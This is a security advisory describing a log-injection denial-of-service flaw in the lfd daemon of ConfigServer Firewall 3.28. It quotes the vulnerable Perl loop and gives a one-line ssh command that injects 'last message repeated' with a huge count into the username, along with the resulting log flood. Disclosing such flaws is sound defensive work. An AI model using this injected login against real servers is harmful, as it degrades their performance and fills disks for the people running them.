CSF 3.28 - remote, unauthenticated users can cause prolonged, excessive CPU, disk I/O, and disk space usage, severely degrading server performance



DESCRIPTION


lfd in ConfigServer Firewall 3.28 has a subroutine called dochecks() which examines log files for various patterns of undesirable behavior. If a log line contains the string "last message repeated n times" (where "n" is 1 or more numbers), the dochecks() subroutine will be executed "n" times.

The logic looks similar to this:

 521         for my $log_line ( @logs ) {
 522             if ( $line and $log_line =~ /last message repeated (\d+) times/ ) {
 523                 for ( 1 .. $1 ) {
 524                     do_checks( $line, $logfile );
 525                 }
 526             }
 527         }

A remote user can cause the dochecks() subroutine to be ran as many times as they'd like by injecting the "last message repeated" string into one of the monitored log files.

The following steps can be used to take advantage of this issue:

[user@host ~]$ ssh -l 'last message repeated 999999999999999999999999999999999999999 times' victim


The following will be written to /var/log/lfd.log over and over:

Sat May 17 20:57:21 2008 lfd: Failed SSH login from x.x.x.x - 1 failure(s) in the last 20 secs
Sat May 17 20:57:21 2008 lfd: Failed SSH login from x.x.x.x - 2 failure(s) in the last 20 secs
Sat May 17 20:57:21 2008 lfd: Failed SSH login from x.x.x.x - 3 failure(s) in the last 20 secs
Sat May 17 20:57:21 2008 lfd: Failed SSH login from x.x.x.x - 4 failure(s) in the last 20 secs
Sat May 17 20:57:21 2008 lfd: Failed SSH login from x.x.x.x - 5 failure(s) in the last 20 secs
Sat May 17 20:57:21 2008 lfd: 5 login failures from x.x.x.x within the last 20 seconds - already blocked


This will cause lfd.pl to gradually consume more and more CPU. lfd.log can grow at speeds of 1MB/s or more, depending on the server environment and activity. This was also presumed to work via ftpd, but no other daemons were tested.



IMPACT


Remote, unauthenticated users can severely degrade server performance, possibly filling the disk.